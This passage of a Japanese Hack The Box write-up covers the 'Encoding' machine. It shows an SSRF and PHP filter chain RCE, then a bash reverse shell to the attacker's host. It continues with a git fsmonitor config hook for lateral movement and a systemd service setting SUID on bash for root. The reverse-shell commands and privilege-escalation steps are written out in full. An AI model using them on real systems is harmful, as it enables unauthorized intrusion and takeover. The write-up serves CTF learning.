url_pathというパラメータが送信されているのが分かります。もう一度試してみましょう。
POST /handler.php HTTP/1.1
Host: 10.10.11.198
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=UTF-8
Content-Length: 66
Origin: http://10.10.11.198
Connection: close
Referer: http://10.10.11.198/index.php?page=string
{
"action":"b64encode",
"data":"test",
"uri_path":"http://10.10.14.7:8000/rce.php"
}
上記がBurp Suiteで送信したリクエストです。
レスポンスを見てみましょう。
┌──(kali㉿kali)-[~/Desktop/Encoding]
└─$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
エラーが出るわけではないので、URL自体は許可されていそうですが応答がありません。正直当然のことです。url_pathはカレントディレクトリ形式で書かれていたので、httpから始まるURLを指定しても、URLとして機能してくれません。
原因はわかるのですが、解決方法が分かりません。ここでピタリと手が止まってしまいました。
~ 約2週間経過 ~
PHP Filter Chain
ここから何をしたらよいのかわからず、かなりしんどい時間帯を過ごしましたが、PHPによるRCEを調べていると興味深い記事を見つけました。
この記事を見ると、PHP Filter Chainによるコマンドの実行が成功しています。
さらに記事の中では、file_get_contents関数を実行されています。ここまでの中では取り上げていませんでしたが、utils.phpでもfile_get_contents関数を使用しており、pageパラメータでRCEが発火する可能性が高いように感じます。
記事を参考にし、実行してみましょう。
まずはPHP Filter Chainを生成する必要があるので、githubからツールをダウンロードします。
ダウンロードが出来たら、実際に生成していきましょう。
┌──(kali㉿kali)-[~/Desktop/Encoding/php_filter_chain_generator]
└─$ python3 php_filter_chain_generator.py --chain '<?php phpinfo(); ?> '
[+] The following gadget chain will generate the following code : <?php phpinfo(); ?> (base64 value: PD9waHAgcGhwaW5mbygpOyA/PiA)
php://filter/conve
とりあえず記事のとおり、phpinfoの実行を狙います。
しかし重大な問題が残っています。PHP Filter Chainを実行するには、image.haxtables.htbを指定しなければならず、どうやってURLを指定するかですが、こちらも同じ記事の中に面白いことが書いてありました。
記事によると「@_>」という文字列は、PHPによってエラーが発生しないことが分かります。
┌──(kali㉿kali)-[~/Desktop/Encoding/script]
└─$ nc -lvnp 4321
listening on [any] 4321 ...
初めに、ncによる待ち受けを開始しておきます。
待ち受けが完了したら、ipアドレスの先頭に「@_>」を追加しリクエストを送信します。
{
"action":"b64encode",
"data":"test",
"uri_path":"@_>10.10.14.7:4321"
}
送信しましたが、反応がありません。正直お手上げですが、ほかにもいろいろ試してみます。
{
"action":"b64encode",
"data":"test",
"uri_path":"@10.10.14.7:4321"
}
一文字減らした「@_」もダメだったので「@」のみを追加してリクエストを送信しました。応答があるか一応確認すると、、
┌──(kali㉿kali)-[~/Desktop/Encoding/script]
└─$ nc -lvnp 4321
listening on [any] 4321 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.11.198] 39420
POST /index.php HTTP/1.1
Host: 10.10.14.7:4321
Authorization: Basic YXBpLmhheHRhYmxlcy5odGI6
Accept: */*
Content-Type:application/json
Content-Length: 66
{
"data":"test",
"action":"b64encode",
"uri_path":"@10.10.14.7:4321"
}
応答が確認できました!!!
なぜ上手くいったのか詳細を確認できていませんが、これでやっと次に進めそうです。
先ほど生成したPHP Filter Chainの実行を狙います。
"url_path":"@image.haxtables.htb/actions/action_handler.php?page=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-
16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|conv.../resource=php://temp"
url_pathは上記のように、pageパラメータにPHP Filter Chainの実行結果をそのまま追加します。
その他のパラメータはそのままにしておき、リクエストを送信しましょう。
きました!phpinfoが実行されました!
これでRCEが完全に発火したので侵入していきましょう!
www-dataとしてのシェル
では、シェルを取得していきます。
まずはシェルを返すPHP Filter Chainを生成します。
┌──(kali㉿kali)-[~/Desktop/Encoding/php_filter_chain_generator]
└─$ python3 php_filter_chain_generator.py --chain '<?php system("bash -c \"bash -i >& /dev/tcp/10.10.14.7/5432 0>&1 \""); ?> '
[+] The following gadget chain will generate the following code : <?php system("bash -c \"bash -i >& /dev/tcp/10.10.14.7/5432 0>&1 \""); ?> (base64 value: PD9waHAgc3lzdGVtKCJiYXNoIC1jIFwiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC43LzU0MzIgMD4mMSBcIiIpOyA/PiA)
php://filter/convert.icon
生成が出来たら、ncで待ち受けを開始し、リクエストを送信します。
┌──(kali㉿kali)-[~/Desktop/Encoding]
└─$ nc -lvnp 5432
listening on [any] 5432 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.11.198] 58908
bash: cannot set terminal process group (827): Inappropriate ioctl for device
bash: no job control in this shell
www-data@encoding:~/image/actions$ whoami
www-data
シェルの取得に成功しました!
ここまで本当に大変でしたが、権限昇格も頑張ります。
横移動
侵入したら、とりあえずsudoを実行しましょう。
www-data@encoding:~$ sudo -l
sudo -l
Matching Defaults entries for www-data on encoding:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User www-data may run the following commands on encoding:
(svc) NOPASSWD: /var/www/image/scripts/git-commit.sh
やはり、git-commit.shが出てきましたね。
改めて調査していきましょう。
www-data@encoding:~$ cat /var/www/image/scripts/git-commit.sh
#!/bin/bash
u=$(/usr/bin/git --git-dir=/var/www/image/.git --work-tree=/var/www/image ls-files -o --exclude-standard)
if [[ $u ]]; then
/usr/bin/git --git-dir=/var/www/image/.git --work-tree=/var/www/image add -A
else
/usr/bin/git --git-dir=/var/www/image/.git --work-tree=/var/www/image commit -m "Commited from API!" --author="james <james@haxtables.htb>" --no-verify
fi
ファイルの内容は上記の通りです。
ひとつひとつ読み解いていきましょう。
まず、gitに追加されていないファイルがあるかを調べます。もしも追加されていないファイルがあれば「git add -A」を実行しファイルを追加しています。
追加されていないファイルがなければ、「Commited from API!」というメッセージとともにコミットを実行します。
以上の内容から.gitディレクトリ内に書き込み権限があれば、ファイルを上書きし、任意のスクリプトを実行できます!なぜ実行できるのかというと、git commit後に実行されるhookが原因です。
詳しくはこの記事を見てみてください。
では、権限があるか見ていきます。
www-data@encoding:~/image$ ls -la
ls -la
total 36
drwxr-xr-x 7 svc svc 4096 Apr 19 10:24 .
drwxr-xr-x 5 root root 4096 Apr 19 10:24 ..
drwxrwxr-x+ 8 svc svc 4096 Apr 19 10:24 .git
権限がないように見えますが、最後に「+」がついています。これは、追加の権限があることを示しています。
getfaclで確認可能です。
www-data@encoding:~/image$ getfacl .git
getfacl .git
# file: .git
# owner: svc
# group: svc
user::rwx
user:www-data:rwx
group::r-x
mask::rwx
other::r-x
www-dataに書き込み権限がありました!
では、実際に横移動を開始しましょう。
svcとしてのシェル
様々な方法で権限昇格が可能ですが、私は一番簡単な方法で権限昇格を狙います。
www-data@encoding:~/image/.git$ cat config
cat config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
fsmonitor = "bash -c 'bash -i >& /dev/tcp/10.10.14.7/6543 0>&1'"
上記のconfigファイルを作成し、本来あるconfigファイルを上書きします。これによりリバースシェルの取得を狙います。
作成が完了したら、git-commit.shを実行しましょう
www-data@encoding:/tmp$ sudo -u svc /var/www/image/scripts/git-commit.sh
実行したら、シェルが返ってきているか確認します。
┌──(kali㉿kali)-[~/Desktop/Encoding]
└─$ nc -lvnp 6543
listening on [any] 6543 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.11.198] 60786
bash: cannot set terminal process group (827): Inappropriate ioctl for device
bash: no job control in this shell
svc@encoding:/var/www/image$ whoami
svc
横移動に成功しました!
svc@encoding:~$ ls -l
total 4
-rw-r----- 1 root svc 33 Apr 19 07:37 user.txt
ユーザフラグも確認できます。
権限昇格
この勢いのまま、rootも取得しましょう!
とりあえず、同じようにsudoを実行します。
svc@encoding:~$ sudo -l
sudo -l
Matching Defaults entries for svc on encoding:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User svc may run the following commands on encoding:
(root) NOPASSWD: /usr/bin/systemctl restart *
systemctlのrestartをsudoで実行できるようですね。
Googleで権限昇格につながる情報がないか調べてみると、すぐにヒットしました。
どうやら、新規のサービスを作成しrestartするだけでシェルが返ってくるようです。
ではまず、サービスを作っていきます。
svc@encoding:/tmp$ cat root.service
[Service]
Type=simple
ExecStart=chmod +s /bin/bash
[Install]
WantedBy=multi-user.target
作ったサービスは、/bin/bashにSUIDを設定するものです。
これをsystemディレクトリに保存するだけですが、問題は権限があるのかどうか。確認してみます。
svc@encoding:/tmp$ getfacl /etc/systemd/system
getfacl: Removing leading '/' from absolute path names
# file: etc/systemd/system
# owner: root
# group: root
user::rwx
user:svc:-wx
group::rwx
mask::rwx
other::r-x
読み込み権限はないですが、なぜか書き込み権限があります!少し違和感ですが、これで権限昇格できそうです。
rootとしてのシェル
書き込み権限があることを確認したので、作ったサービスをmvで移動させます。
svc@encoding:/tmp$ mv root.service /etc/systemd/system/
移動させることが出来たら、systemctl restartを実行します。
svc@encoding:/tmp$ sudo /usr/bin/systemctl restart root
最後に、bashにSUIDが付与されているかを確認します。
svc@encoding:/tmp$ find / -type f -user root -perm -4000 2>/dev/null
/usr/libexec/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/umount
/usr/bin/fusermount3
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/su
/usr/bin/bash
成功しています!最高の瞬間を迎えましょう!
svc@encoding:/tmp$ bash -p
bash-5.1# whoami
root
完全攻略です!!!!やりました~!!!
bash-5.1# ls -l /root
ls -l /root
total 8
-rw-r----- 1 root root 33 Apr 19 07:37 root.txt
drwxr-xr-x 4 root root 4096 Jan 13 16:25 scripts
フラグの取得は忘れずに!
攻略を終えて
今回のボックスは、かなり難しいボックスだったと思います。特に、PHP Filter Chainあたりの部分に関しては何度諦めたことか、、、という感じでした。
しかし総じてとても楽しいボックスでした。PHP Filter Chainなど新しい発見もありましたし、一段階レベルアップできたような気がします。
今後もHTBのようなセキュリティに関する投稿を続けていくので、見ていただけると嬉しいです。
閲覧していただきありがとうございました!